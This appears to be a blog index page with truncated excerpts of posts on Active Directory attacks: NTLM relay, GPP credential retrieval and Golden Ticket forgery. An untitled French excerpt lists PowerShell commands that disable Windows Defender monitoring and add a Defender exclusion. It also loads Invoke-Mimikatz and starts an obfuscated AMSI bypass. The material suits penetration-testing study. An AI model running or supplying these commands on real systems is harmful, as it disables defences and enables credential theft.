NTLM Relay
DefinitionThe NTLM protocol is an old authentication protocol used by Windows machines to authenticate at domain or network level. It’s a Challenge / Response protocol, so it lets you authenticate to a server without the password ever passing over the network. This protocol is widely used by companies in conjunction with the Kereberos protocol. Only companies with a good cyber maturity no longer use it, as it’s not easy to do without. How it worksWhen a client wants to authenticate to a ...
GPP attack
DefinitionA very simple attack to retrieve credentials stored in the SYSVOL share, which can be used to gain a shell or escalate privileges. A GPP (Group Policy Preference) is an old-fashioned feature that lets you configure preferences on machines in an Active Directory. Unlike GPOs, GPPs are not strictly applied to machines in an AD domain, and allow users to modify settings after they have been applied. GPPs are often used for : Create desktop shortcuts Configure network drives automatic...
Golden Ticket Attack
A Golden ticket attack is a specific type of attack on the kerberos authentication protocol. Kerberos is used to securely authenticate users and services on a network. What is a Golden ticket attack?The Golden ticket attack exploits the way Kerberos works, and in particular the generation of the TGT by the KDC. If an attacker gains access to the krbtgt account, the account used by the KDC to sign TGTs, an attacker can create fake tickets known as “Golden Tickets”. These tickets allow an attac...
Untitled
Préparation de l’environnementExécution en tant qu’administrateur1234Start-Process PowerShell_ISE -Verb RunAsAdd-MpPreference -ExclusionPath "C:\Temp"Set-MpPreference -DisableRealtimeMonitoring $trueImport-Module C:\Temp\Invoke-Mimikatz.ps1 Si windows defender ne peut pas être désactivé, faire un AMSI Bypass1S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Emb...
